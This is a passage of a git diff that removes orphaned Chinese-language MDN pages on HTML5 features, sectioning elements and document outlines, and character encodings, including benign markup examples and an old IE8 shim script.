href="/zh-CN/docs/DragDrop/Drag_and_Drop" title="DragDrop/Drag_and_Drop">拖放</a></dt> - <dd>HTML5 的拖放 API 能够支持在网站内部和网站之间拖放项目。同时也提供了一个更简单的供扩展和基于 Mozilla 的应用程序使用的 API。</dd> - <dt><a href="/zh-CN/docs/HTML/Focus_management_in_HTML" title="Focus_management_in_HTML">HTML 中的焦点管理</a></dt> - <dd>支持新的 HTML5 <code>activeElement</code> 和 <code>hasFocus</code> 属性。</dd> - <dt><a href="/zh-CN/docs/Web-based_protocol_handlers" title="Web-based_protocol_handlers">基于 Web 的协议处理程序</a></dt> - <dd>你现在可以使用 <code>navigator.registerProtocolHandler()</code> 方法把 web 应用程序注册成一个协议处理程序。</dd> - <dt><a href="/zh-CN/docs/DOM/window.requestAnimationFrame" title="DOM/window.requestAnimationFrame"><code>requestAnimationFrame</code></a></dt> - <dd>允许控制动画渲染以获得更优性能。</dd> - <dt><a href="/zh-CN/docs/DOM/Using_fullscreen_mode" title="DOM/Using_full-screen_mode">全屏 API</a></dt> - <dd>为一个网页或者应用程序控制使用整个屏幕,而不显示浏览器界面。</dd> - <dt><a href="/zh-CN/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">指针锁定 API</a></dt> - <dd>允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。</dd> - <dt><a href="/zh-CN/docs/Online_and_offline_events" title="Online_and_offline_events">在线和离线事件</a></dt> - <dd>为了构建一个良好的具有离线功能的 web 应用程序,你需要知道什么时候你的应用程序确实离线了。顺便提一句,在你的应用程序又再回到在线状态时你也需要知道。</dd> -</dl> - -<h2 id="设备访问" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">设备访问</h2> - -<dl> - <dt><a href="/zh-CN/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">使用 Camera API</a></dt> - <dd>允许使用和操作计算机的摄像头,并从中存取照片。</dd> - <dt><a href="/zh-CN/docs/DOM/Touch_events" title="DOM/Touch_events">触控事件</a></dt> - <dd>对用户按下触控屏的事件做出反应的处理程序。</dd> - <dt><a href="/zh-CN/docs/WebAPI/Using_geolocation" title="Using_geolocation">使用地理位置定位</a></dt> - <dd>让浏览器使用地理位置服务定位用户的位置。</dd> - <dt><a href="/zh-CN/docs/Detecting_device_orientation" title="Detecting_device_orientation">检测设备方向</a></dt> - <dd>让用户在运行浏览器的设备变更方向时能够得到信息。这可以被用作一种输入设备(例如制作能够对设备位置做出反应的游戏)或者使页面的布局跟屏幕的方向相适应(横向或纵向)。</dd> - <dt><a href="/zh-CN/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">指针锁定 API</a></dt> - <dd>允许锁定到内容的指针,这样游戏或者类似的应用程序在指针到达窗口限制时也不会失去焦点。</dd> -</dl> - -<h2 id="样式" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">样式</h2> - -<p><a href="/zh-CN/docs/CSS" title="CSS">CSS</a> 已经扩展到能够以一个更加复杂的方法给元素设置样式。这通常被称为 <a href="/zh-CN/docs/CSS/CSS3" title="CSS/CSS3">CSS3</a>, 尽管 CSS 已经不再是很难触动的规范,并且不同的模块并不全部位于 level 3:其中一些位于 level 1 而另一些位于 level 4,覆盖了所有中间的层次。</p> - -<dl> - <dt>新的背景样式特性</dt> - <dd>现在可以使用 {{cssxref("box-shadow")}} 给逻辑框设置一个阴影,而且还可以设置 <a href="/zh-CN/docs/CSS/Multiple_backgrounds" title="CSS/Multiple_backgrounds">多背景</a>。</dd> - <dt>更精美的边框</dt> - <dd>现在不仅可以使用图像来格式化边框,使用 {{cssxref("border-image")}} 和它关联的普通属性,而且可以通过 {{cssxref("border-radius")}} 属性来支持圆角边框。</dd> - <dt>为你的样式设置动画</dt> - <dd>使用 <a href="/zh-CN/docs/CSS/Using_CSS_transitions" title="CSS/Using_CSS_transitions">CSS Transitions</a> 以在不同的状态间设置动画,或者使用 <a href="/zh-CN/docs/CSS/Using_CSS_animations" title="CSS/Using_CSS_animations">CSS Animations</a> 在页面的某些部分设置动画而不需要一个触发事件,你现在可以在页面中控制移动元素了。</dd> - <dt>排版方面的改进</dt> - <dd>作者们如今有更强大的能力来使自己的网页文字达到更佳的排版。他们不但可以控制 {{cssxref("text-overflow")}} 和 <a href="/zh-CN/docs/CSS/hyphens" title="CSS/hyphens">hyphenation</a>, 还可以给它设置一个 <a href="/zh-CN/docs/CSS/text-shadow" title="CSS/text-shadow">阴影</a> 或者更精细地控制它的 <a href="/zh-CN/docs/CSS/text-decoration" title="SVG/Attribute/text-decoration">decorations</a>。感谢新的 {{cssxref("@font-face")}} 规则,现在我们可以下载并应用自定义的字体了。</dd> - <dt>新的展示性布局</dt> - <dd>为了提高设计的灵活性,已经有两种新的布局被添加了进来:<a href="/zh-CN/docs/CSS/Using_CSS_multi-column_layouts" title="CSS/Using_CSS_multi-column_layouts">CSS 多栏布局</a>, 以及 <a href="/zh-CN/docs/CSS/Flexbox" title="CSS/Flexbox">CSS 灵活方框布局</a>。</dd> -</dl> -</div> -</div> - -<p>译注:</p> - -<p>被废弃的重复链接:https://developer.mozilla.org/zh-CN/docs/HTML5_junk</p> - -<p> - <audio class="hidden"> </audio> -</p> diff --git a/files/zh-cn/orphaned/web/guide/html/html5/introduction_to_html5/index.html b/files/zh-cn/orphaned/web/guide/html/html5/introduction_to_html5/index.html deleted file mode 100644 index 6aa6081ca7..0000000000 --- a/files/zh-cn/orphaned/web/guide/html/html5/introduction_to_html5/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: HTML5 入门 -slug: orphaned/Web/Guide/HTML/HTML5/Introduction_to_HTML5 -tags: - - Basic - - Guide - - HTML - - HTML5 - - NeedsContent - - Web -translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5 -original_slug: Web/Guide/HTML/HTML5/Introduction_to_HTML5 ---- -<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML5</a>是最新的第五代HTML标准。它不仅提供丰富的媒体支持,而且还增强了对创建一个能够与用户进行交互的Web应用的支持,使他/她的本地数据和服务器交互比以前更有效,更容易。</p> - -<p>一些HTML5特性仍然不被某些浏览器支持。但是,Gecko已经开始推广,火狐浏览器也对HTML5的支持非常好,并且会持续的支持更多的功能。Gecko开始支持HTML5版本1.8.1。你可以在这个<a href="/zh/HTML/HTML5" title="zh/HTML/HTML5">HTML5主页</a>中找到目前Gecko支持的所有的HTML5的功能列表。关于HTML5多浏览器支持的详细信息,请参阅 <a class="external" href="http://caniuse.com/#cats=HTML5" title="http://caniuse.com/#cats=HTML5">CanIUse</a> 网站</p> - -<h2 id="用HTML5的doctype声明文件包含HTML5标记">用HTML5的doctype声明文件包含HTML5标记</h2> - -<p>HTML5的doctype非常简单。表明你的HTML内容使用HTML5,只需要简单的使用:</p> - -<pre class="brush: html"><!DOCTYPE html></pre> - -<p>这样做会让目前还不支持的HTML5的浏览器采用标准模式解析,这意味着他们会解析那些HTML5中兼容的旧的HTML的标签的部分,而忽略他们不支持HTML5的新特性。</p> - -<p>这个doctype比以前更短,更简单,使的它更容易被记住并且减少必须下载的字节数。</p> - -<h2 id="用<meta_charset>声明字符集">用<code><meta charset></code>声明字符集</h2> - -<p>在一个页面上做的第一件事通常是声明使用的字符集。在以前版本的HTML,它是一个非常复杂的{{HTMLElement("meta")}}元素,现在它变得非常简单:</p> - -<pre class="brush: html"><meta charset="UTF-8"></pre> - -<p>把这个放到你的{{HTMLElement("head") }},因为在一些浏览器中如果声明的字符集和他们的预期的不同,他们会重新解析一遍HTML文档。另外,如果你目前没有使用UTF-8,建议您把您的网页改为这个编码,因为它简化了不同脚本对文件中字符的处理。</p> - -<p>值得注意的是HTML5限制了可用的字符集,他们需要兼容8位的ASCII。这样做是为了加强安全,防止某些类型的攻击。</p> - -<h2 id="使用新的HTML5解析器">使用新的HTML5解析器</h2> - -<p>html5的解析器分析主要是从标签的语义进行,并且语义化标签在html5中得到更加严格的定义。在H5之前,只有明确定义的标签被才能使用,意味着一旦只要有一个小错误在标签上(大部分网站只要有一个),表现出来的形式就是未定义的标签。从本质上讲,这导致所有的浏览器使用相同的标签时,产生的作用和表现的形式都不一样。如今面对标签问题,所有的浏览器商必须定义一个相同标准。</p> - -<p>这个统一的开发标准帮助了网站开发者进行开发。目前大多数浏览器使用着HTML5的分析标准,同时非H5标准的浏览器商也还有部分人使用。请记住我们推荐使用语义化标签,html5的新标准让这些代码变得更加简单得去理解和维护。并且将会大量减少目前市场存在旧浏览器的兼容问题</p> - -<p>别担心,你不需要改变您的网站上的任何东西,Web浏览器的开发商已经在为你做这些了!</p> diff --git a/files/zh-cn/orphaned/web/guide/html/using_html_sections_and_outlines/index.html b/files/zh-cn/orphaned/web/guide/html/using_html_sections_and_outlines/index.html deleted file mode 100644 index d4d824142f..0000000000 --- a/files/zh-cn/orphaned/web/guide/html/using_html_sections_and_outlines/index.html +++ /dev/null @@ -1,376 +0,0 @@ ---- -title: 使用 HTML 章节与大纲 -slug: orphaned/Web/Guide/HTML/Using_HTML_sections_and_outlines -tags: - - HTML - - HTML5 - - 指南 - - 文档结构 - - 高阶 -translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines -original_slug: Web/Guide/HTML/Using_HTML_sections_and_outlines ---- -<div class="warning"> -<p>(下方英文原文警告的过时已翻译版本)<strong>注意:</strong>下面描述的HTML 5 大纲算法在用户代理中还没有实现,因此,使用标题语义的用户暴露在HTML4的文档结构下。HTML5对问题的描述还仅仅是理论上的。</p> -</div> - -<div class="warning"> -<p><strong>Important</strong>: There are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final W3C specification. Therefore the <a href="http://www.w3.org/TR/html5/sections.html#outline">outline</a> algorithm <em>should not be used</em> to convey document structure to users. Authors are advised to use heading <a href="http://www.w3.org/TR/html5/sections.html#rank">rank</a> (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>) to convey document structure.</p> -</div> - -<p>HTML5新增了几个新元素使得开发者可以用标准语义去描述web文档的结构。本文描述了这些元素并说明如何使用这些元素去为任何文档定义纲要。</p> - -<h2 id="HTML_4_的文档结构">HTML 4 的文档结构</h2> - -<p>文档结构,即,<code><body></code> 与 <code></body></code> 标记之间内容的语义结构,对呈现页面给用户是重要的。HTML4用文档中章节和子章节的概念去描述文档结构。一个章节由一个包含着标题元素(h1-h6)的div元素表示。这些html划分元素(HTML Dividing Elements)和标题元素(HTML Heading Elements)形成了文档的结构和纲要。</p> - -<p>所以下面的片段:</p> - -<div style="overflow: hidden;"> -<pre class="brush:xml"><div class="section" id="forest-elephants" > - <h1>Forest elephants</h1> - <p>In this section, we discuss the lesser known forest elephants. - ...this section continues... - <div class="subsection" id="forest-habitat" > - <h2>Habitat</h2> - <p>Forest elephants do not live in trees but among them. - ...this subsection continues... - </div> -</div> -</pre> -</div> - -<p>形成了如下的大纲:</p> - -<pre>1. Forest elephants - 1.1 Habitat -</pre> - -<p>HTML div 元素( {{HTMLElement("div")}} elements)并不强制性地定义一个章节。一个 HTML 标题元素( HTML Heading Element)的出现就足以意味着新的章节. 因此,</p> - -<pre class="brush:xml"><h1>Forest elephants</h1> - <p>In this section, we discuss the lesser known forest elephants. - ...this section continues... - <h2>Habitat</h2> - <p>Forest elephants do not live in trees but among them. - ...this subsection continues... - <h2>Diet</h2> -<h1>Mongolian gerbils</h1> -</pre> - -<p>会形成如下的大纲:</p> - -<pre>1. Forest elephants - 1.1 Habitat - 1.2 Diet -2. Mongolian gerbils -</pre> - -<h2 id="HTML5_解决的问题" style="line-height: 30px;">HTML5 解决的问题</h2> - -<p>HTML 4 的文档结构定义和其隐含的大纲算法非常粗糙而且造成了很多问题:</p> - -<ol> - <li> 定义语义性章节的{{HTMLElement("div")}} 元素的用法,如果没有为class属性赋以特殊的值,使生成自动生成大纲的算法变得不可能 ("一个div元素{{HTMLElement("div")}} 是不是大纲的一部分, 定义的是章节还是子章节?" 或者 "该div元素 {{HTMLElement("div")}}是仅仅为了样式化?")。换句话说, HTML4规范在章节的定义和章节的范围都不精确。 自动生成大纲是重要的,尤其是在倾向于通过根据文档大纲内容去展示内容的辅助技术( <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">assistive technology</a>)。 HTML5 在自动生成大纲算法的过程中去掉了div元素({{HTMLElement("div")}}),并新增了一个元素,section元素({{HTMLElement("section")}})。</li> - <li>合并多个文档是困难的:主文档中包含子文档意味着改变HTML标题元素的级别,以使得文档大纲能够保持下来。 这个已经被HTML5的新的章节元素解决了,因为新引入的元素({{HTMLElement("article")}}、{{HTMLElement("section")}}、{{HTMLElement("nav")}} 和 {{HTMLElement("aside")}})总是距离其最近的祖先章节的子章节, 与子文档章节内部的标题没有关系.</li> - <li>HTML4中,所有的章节都是文档大纲中的一部分。但是文档并不总是这样。文档可以包含那些不是大纲的特殊章节, 但是与文档有关的, 就像广告块和解释区域。 HTML5 引入aside元素 {{HTMLElement("aside")}}使得这样的节点不会插入到主纲要中。 </li> - <li>另外, 因为在 HTML4中任何的部分都是文档大纲的一部分, 没有办法产生与网站相关而不是与文档相关的节段,比如logos,menus,目录或版权信息和法律声明。为了这个目的, HTML5 引入了三个特殊的节段 元素: 包含链接集合的nav元素{{HTMLElement("nav")}} , 例如目录, 包含网站相关信息的footer元素{{HTMLElement("footer")}} 和header元素 {{HTMLElement("header")}} 。</li> -</ol> - -<p>更具有普遍意义的是HTML5使得章节和标题特性更精确。使得文档大纲变的可预测,浏览器使用后也可以提高用户体验。</p> - -<h2 id="HTML5_的大纲算法">HTML5 的大纲算法</h2> - -<h3 id="定义节段">定义节段</h3> - -<p> {{HTMLElement("body")}} 元素中的所有内容都是节段中的一部分。节段在 HTML5 中是可以嵌套的。{{HTMLElement("body")}} 元素定义了主节段,基于主节段,可以显式或隐式定义各个子节段的划分。显式定义的节段是通过{{HTMLElement("body")}}, {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}和 {{HTMLElement("nav")}} 这些标记中的内容。 </p> - -<div class="note">注意:每个section可以有自己的标题结构。因此,即使是一个嵌套的section也能有<span style="line-height: 1.5;">{{HTMLElement("h1")}}. 具体查看 </span><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5" style="line-height: 1.5;" title="en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5">Defining Headings in HTML5</a><span style="line-height: 1.5;">.</span></div> - -<p>Example:</p> - -<pre class="brush:xml"><section> - <h1>Forest elephants</h1> - <section> - <h1>Introduction</h1> - <p>In this section, we discuss the lesser known forest elephants.</p> - </section> - <section> - <h1>Habitat</h1> - <p>Forest elephants do not live in trees but among them.</p> - </section> - <aside> - <p>advertising block</p> - </aside> -</section> -<footer> - <p>(c) 2010 The Example company</p> -</footer></pre> - -<p>这个HTML片段定义了两个顶级节段:</p> - -<pre><span style="color: red;"><section> - <h1>Forest elephants</h1> - <section> - <h1>Introduction</h1> - <p>In this section, we discuss the lesser known forest elephants.</p> - </section> - <section> - <h1>Habitat</h1> - <p>Forest elephants do not live in trees but among them.</p> - </section> - <aside> - <p>advertising block</p> - </aside> -</section></span> - -<span style="color: green;"><footer> - <p>(c) 2010 The Example company</p> -</footer></span></pre> - -<p>第一个节段有三个子节段:</p> - -<pre><section> - <h1>Forest elephants</h1> - - <span style="color: red;"><section> - <h1>Introduction</h1> - <p>In this section, we discuss the lesser known forest elephants.</p> - </section></span> - - <span style="color: green;"><section> - <h1>Habitat</h1> - <p>Forest elephants do not live in trees but among them.</p> - </section></span> - - <span style="color: blue;"><aside> - <p>advertising block</p> - </aside></span> -</section> - -<footer> - <p>(c) 2010 The Example company</p> -</footer></pre> - -<p>上面的片段形成了如下的大纲:</p> - -<pre>1. Forest elephants - 1.1 Introduction - 1.2 Habitat - 1.3 Section (aside) -</pre> - -<h3 id="在HTML5中定义标题">在HTML5中定义标题</h3> - -<p>当 HTML 节段元素定义文档结构时,文档大纲也需要有用的标题。基本规则是简单的:第一个 HTML 标题元素({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}之一)定义了当前节段的标题</p> - -<p>标题元素通过在元素里的名字加上数字来分级标题元素,{{HTMLElement("h1")}} 元素有最高级别,{{HTMLElement("h6")}} 有最低级别。相关的级别只在节段中起作用;节段的结构定义了大纲,而不是节段的标题。例如,下面的代码:</p> - -<pre class="brush:xml"><section> - <h1>Forest elephants</h1> - <p>In this section, we discuss the lesser known forest elephants. - ...this section continues... - <section> - <h2>Habitat</h2> - <p>Forest elephants do not live in trees but among them. - ...this subsection continues... - </section> -</section> -<section> - <h3>Mongolian gerbils</h3> - <p>In this section, we discuss the famous mongolian gerbils. - ...this section continues... -</section></pre> - -<p>形成了下面的大纲:</p> - -<pre>1. Forest elephants - 1.1 Habitat -2. Mongolian gerbils</pre> - -<p>注意标题元素的级别(例子中的第一个顶层节段的 {{HTMLElement("h1")}},子节段中的{{HTMLElement("h2")}} 和第二个顶层节段中的{{HTMLElement("h3")}})并不重要。(任何级别可以用作显示定义的节段的标题,虽然这种做法并不推荐。)</p> - -<h3 id="隐式分节">隐式分节</h3> - -<p>因为HTML5分节元素并不强制性定义大纲,为了与现有的占主导地位的HTML4保持兼容,有个方式来定义节段而不需要分节元素。这种方式就是隐式分节。</p> - -<p>HTML标题元素 ({{HTMLElement("h1")}} 到 {{HTMLElement("h6")}}) 定义了一个新的,隐式的节段,当其不是父节段第一个标题时。这种隐式放置节段的方式通过在父节点中与之前标题的相对级别来定义。如果比之前的标题级别更低,那么在节段里开始新的隐式子节段。如代码所示:</p> - -<pre class="brush:xml"><section> - <h1>Forest elephants</h1> - <p>In this section, we discuss the lesser known forest elephants. - ...this section continues... - <h3 class="implicit subsection">Habitat</h3> - <p>Forest elephants do not live in trees but among them. - ...this subsection continues... -</section></pre> - -<p>形成如下的大纲:</p> - -<pre>1. Forest elephants - 1.1 Habitat <em>(implicitly defined by the h3 element)</em></pre> - -<p>如果与前面标题的级别相同,那么闭合前面的节段(可能是显式标记的节段!)并开始新的同一级别的隐式节段:</p> - -<pre class="brush:xml"><section> - <h1>Forest elephants</h1> - <p>In this section, we discuss the lesser known forest elephants. - ...this section continues... - <h1 class="implicit section">Mongolian gerbils</h1> - <p>Mongolian gerbils are cute little mammals. - ...this section continues... -</section></pre> - -<p>形成如下的大纲:</p> - -<pre>1. Forest elephants -2. Mongolian gerbils <em>(implicitly defined by the h1 element, which closed the previous section at the same time)</em></pre> - -<p>如果比之前标题的级别更高,那么关闭之前的节段并开始新的这个更高级别的隐式节段:</p> - -<pre class="brush:xml"><body> - <h1>Mammals</h1> - <h2>Whales</h2> - <p>In this section, we discuss the swimming whales. - ...this section continues... - <section> - <h3>Forest elephants</h3> - <p>In this section, we discuss the lesser known forest elephants. - ...this section continues... - <h3>Mongolian gerbils</h3> - <p>Hordes of gerbils have spread their range far beyond Mongolia. - ...this subsection continues... - <h2>Reptiles</h2> - <p>Reptiles are animals with cold blood. - ...this subsection continues... - </section> -</body></pre> - -<p>形成如下的大纲:</p> - -<pre>1. Mammals - 1.1 Whales <em>(implicitly defined by the h2 element)</em> - 1.2 Forest elephants <em>(explicitly defined by the section element)</em> - 1.3 Mongolian gerbils <em>(implicitly defined by the h3 element, which closes the previous section at the same time)</em> -2. Reptiles <em>(implicitly defined by the h2 element, which closes the previous section at the same time)</em></pre> - -<p>这并不是一眼就可以通过标题标记就可以看出来的大纲。为了使标记容易理解,用显式的标记开始和闭合节段以及匹配标题等级与期望的嵌套节段等级。然而,HTML5规范并不需要这样。如果你发现浏览器以不期望的方式渲染文档,检查是否有隐式的节段没有闭合。</p> - -<p>作为经验法则,标题级别应该与节段嵌套级别相匹配,但为了方便节段在多个文档中的重用,也存在例外的情况。例如,一个节段可能会存储在内容管理系统中并在运行时组装为完整的文档。在这种情况下,好的实践便是使用{{HTMLElement("h1")}}作为可重用部分的最高标题级别。可重用节段的嵌套级别应该取决于将使用该节段的文档的节段层级。显式节段标记仍然在这种情况下有用处。</p> - -<h3 id="分节根"><a name="sectioning_root">分节根</a></h3> - -<p>分节根是一个HTML元素,这个元素可以拥有自己的大纲,但是元素内部的节段和标题对其祖先的大纲没有贡献。除了文档的逻辑分节根{{HTMLElement("body")}}元素,这些元素经常在页面中引入外部内容:{{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} 和{{HTMLElement("td")}}。</p> - -<p>Example:</p> - -<pre class="brush:xml"><section> - <h1>Forest elephants</h1> - <section> - <h2>Introduction</h2> - <p>In this section, we discuss the lesser known forest elephants</p> - </section> - <section> - <h2>Habitat</h2> - <p>Forest elephants do not live in trees but among them. Let's - look what scientists are saying in "<cite>The Forest Elephant in Borneo</cite>":</p> - <blockquote> - <h1>Borneo</h1> - <p>The forest element lives in Borneo...</p> - </blockquote> - </section> -</section> -</pre> - -<p>例子形成如下的大纲:</p> - -<pre>1. Forest elephants - 1.1 Introduction - 1.2 Habitat</pre> - -<p>这个大纲并不包含 {{HTMLElement("blockquote")}} 元素的内部大纲。{{HTMLElement("blockquote")}} 元素是一个外部引用,是一个分节根并隔离了他内部的大纲</p> - -<h3 id="大纲之外的节段">大纲之外的节段</h3> - -<p>HTML5引入了2个新的元素,用来定义那些不属于web文档主要大纲中的节段。</p> - -<ol> - <li>HTML 侧边分节元素 ({{HTMLElement("aside")}}) 定义了这样的节段, 虽然是主要的分节元素, 但并不属于主要的文档流, 就像解释栏或广告栏. aside元素内部有自己的大纲,但并不计入文档大纲中</li> - <li>HTML 导航分节元素 ({{HTMLElement("nav")}}) 定义的节段包含了很多导航links。文档中可以有好几个这样的元素,比如文档内部的链接,就像目录,和链接到其他站点的导航links。这些链接并不是主文档流和文档大纲中的一部分 ,并且能够特别让屏幕浏览器和类似的辅助技术从一开始就不渲染该标记里的内容。</li> -</ol> - -<h3 id="页眉和页脚">页眉和页脚</h3> - -<p>HTML5引入了两个可以用于标记节段的页眉和页脚的新元素。</p> - -<ol> - <li>HTML 头部分节元素 ({{HTMLElement("header")}}) 定义了页面的页眉,通常会包含logo和站点名称以及水平菜单(如果有的话)。或是一个节段的头部,可能包含了节段的标题和作者名字等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}}可以拥有它们自己的{{HTMLElement("header")}}。虽然名字是header,但是不一定是在页面的开始。</li> - <li>HTML 页脚元素 ({{HTMLElement("footer")}}) 定义了页脚, 通常会包含版权信息和法律声明以及一些其他链接。或是节段的页脚,可能包含了节段的发布数据、许可声明等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} 可以拥有它们自己的 {{HTMLElement("footer")}}。同样,其不一定是在页面的底部出现。</li> -</ol> - -<h2 id="分节元素中的地址和发表时间">分节元素中的地址和发表时间</h2> - -<p>文档的作者想要发布一些联系信息,例如作者的名字和地址。HTML4通过{{HTMLElement("address")}}元素来表示,HTML5则拓展了这个元素。</p> - -<p>一个文档可以由不同作者的不同节段组成。一个从其他作者而不是文档作者写的节段用{{HTMLElement("article")}}元素定义。因此, {{HTMLElement("address")}} 元素连接到距离最近的{{HTMLElement("body")}}或{{HTMLElement("article")}} 祖先元素。</p> - -<p>同样的,新的HTML5标记 {{HTMLElement("time")}}元素,使用{{htmlattrxref("pubdate", "time")}}布尔值,表示整个文档的发布时间,分别给文章,与其最近的{{HTMLElement("body")}}元素或{{HTMLElement("article")}} 元素的祖先元素相关。</p> - -<h2 id="在不支持HTML5的浏览器器中使用HTML5">在不支持HTML5的浏览器器中使用HTML5</h2> - -<p>分节和标题元素应该在大部分的不支持HTML5的浏览器中工作。尽管不支持,但不必使用特殊的DOM接口。仅仅只需要一个特殊的CSS样式,因为未知元素默认会样式化为display:inline:</p> - -<pre class="brush: css">section, article, aside, footer, header, nav, hgroup { - display:block; -} - -</pre> - -<p>当然web开发者可以改变上面的样式结构,但是要记住的是在不支持HTML5浏览器中,这些元素默认的样式是与预期的样式是不同的。还要注意的是{{HTMLElement("time")}}元素并没有在这些元素中,因为其样式在不支持HTML5和兼容HTML5的浏览器中的表现是相同的。</p> - -<p>然而这种方法有自己的局限性,因为一些浏览器并不允许样式化不支持的元素。这种情形出现在ie8及ie8以前的浏览器中,需要一个特殊脚本才行:</p> - -<pre class="brush:xml"><!--[if lt IE 9]> - <script> - document.createElement("header" ); - document.createElement("footer" ); - document.createElement("section"); - document.createElement("aside" ); - document.createElement("nav" ); - document.createElement("article"); - document.createElement("hgroup" ); - document.createElement("time" ); - </script> -<![endif]--></pre> - -<p>这段脚本表示,当在ie8(及ie8以前)的情况下,应该允许脚本的运行以合适地展示HTML5分节和标题元素。如果禁用了脚本,则不会显示,可能会出问题因为这些元素定义整个页面的结构。为了预防这种情况,我们需要加上{{HTMLElement("noscript")}}标签。</p> - -<pre class="brush:xml"><noscript> - <strong>Warning !</strong> - Because your browser does not support HTML5, some elements are simulated using JScript. - Unfortunately your browser has disabled scripting. Please enable it in order to display this page. -</noscript></pre> - -<p>于是形成了如下的代码,允许HTML5节段和标题元素在不支持HTML5的浏览器中展示,即使是ie8(ie8以下版本)也在禁用脚本的情况下有了合适的反馈。</p> - -<pre class="brush:xml"><!--[if lt IE 9]> - <script> - document.createElement("header" ); - document.createElement("footer" ); - document.createElement("section"); - document.createElement("aside" ); - document.createElement("nav" ); - document.createElement("article"); - document.createElement("hgroup" ); - document.createElement("time" ); - </script> - <noscript> - <strong>Warning !</strong> - Because your browser does not support HTML5, some elements are simulated using JScript. - Unfortunately your browser has disabled scripting. Please enable it in order to display this page. - </noscript> -<![endif]--></pre> - -<h2 id="总结">总结</h2> - -<p>HTML5中新的节段和标题标签带来了以标准的方法来描述web文档的结构和大纲。其为人们使用HTML5浏览器和需要结构来帮助他们理解页面带来了一个很大的优势。例如,人们需要一些辅助技术的帮助。这些新的语义元素使用简单,几乎没有负担,也可以在不支持HTML5的浏览器中工作。因此,他们应该被广泛使用。</p> diff --git a/files/zh-cn/orphaned/web/guide/localizations_and_character_encodings/index.html b/files/zh-cn/orphaned/web/guide/localizations_and_character_encodings/index.html deleted file mode 100644 index 8164afecff..0000000000 --- a/files/zh-cn/orphaned/web/guide/localizations_and_character_encodings/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: 本地化和字符编码 -slug: orphaned/Web/Guide/Localizations_and_character_encodings -tags: - - HTML - - 字符编码 -translation_of: Web/Guide/Localizations_and_character_encodings -original_slug: Web/Guide/Localizations_and_character_encodings ---- -<p>浏览器内部是以 Unicode 来处理文本的。然而,在将文本通过网络传递到浏览器时,是使用字节(字符编码)来表示字符的。<a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset">HTML规范 </a>推荐使用UTF-8编码(可以代表所有的Unicode),并且无论网站要使用哪种编码,都需要其声明所使用的编码类型。</p> - -<p>在 {{HTMLElement("meta")}} 元素中的 {{htmlattrxref("charset", "meta")}} 属性被用来指明页面采用的编码。它<strong>必须</strong>在 {{HTMLElement("head")}} 定义块中使用。</p> - -<p>例如,要指定页面正在使用UTF-8字符编码(按照建议),只需将以下行放在{{HTMLElement("head")}}标签中</p> - -<pre class="brush: html"><meta charset="utf-8"> -</pre> - -<h2 id="浏览器内部细节">浏览器内部细节</h2> - -<p>当 Web 内容依据 HTML 规范要求声明了编码时,Firefox将转换该编码内容到内部编码格式(声明编码->Unicode)。不幸的是,以往的Web内容并不总是使用UTF-8编码且声明为UTF-8编码。在20世纪90年代,不声明编码类型,或者使用不能代表所有Unicode的特定区域的编码来处理内容的情况都是很常见的。</p> - -<p>对于不声明其编码,且不符合HTML规范的内容的处理,Firefox需要一个备用编码。大多数时候,备用编码是windows-1252(通常称为ISO-8859-1),这一编码在上世纪90年代大量用于部署在美国和西欧的Windows应用程序,而且它是当时大量部署的UNIX应用程序(也主要在美国和西欧)编码的超集。不过即使这一时期同样在一些地区(非美国和西欧),其网络内容中也不是采用windows-1252编码的,在这些地区,对于不声明编码的内容备用编码需要一个非windows-1252(non-windows-1252)。</p> - -<p>不幸的是,有太多区域对应不同的备用编码(non-windows-1252),这意味着Firefox不能很好的确定那么多遗留内容不同的备用编码。为了处理这些内容,Firefox把windows-1252作为备用编码,用于旧的跨区域内容部分,并促其采用正确的地区对应备用编码。在新创建内容时,需要声明编码,而备用编码不再参与内容的处理。</p> - -<p>此外,在上世纪90年代有少数地区,没有明显的单一的特定区域编码,从而引入了多个遗留编码到Web内容中,这使得内容展示效果依赖于启发检测到的编码设定。为此Firefox仍然在这些区域中进行启发式检测(甚至可以指定编码)。</p> - -<h2 id="查找编码规范名称">查找编码规范名称</h2> - -<p><br> - 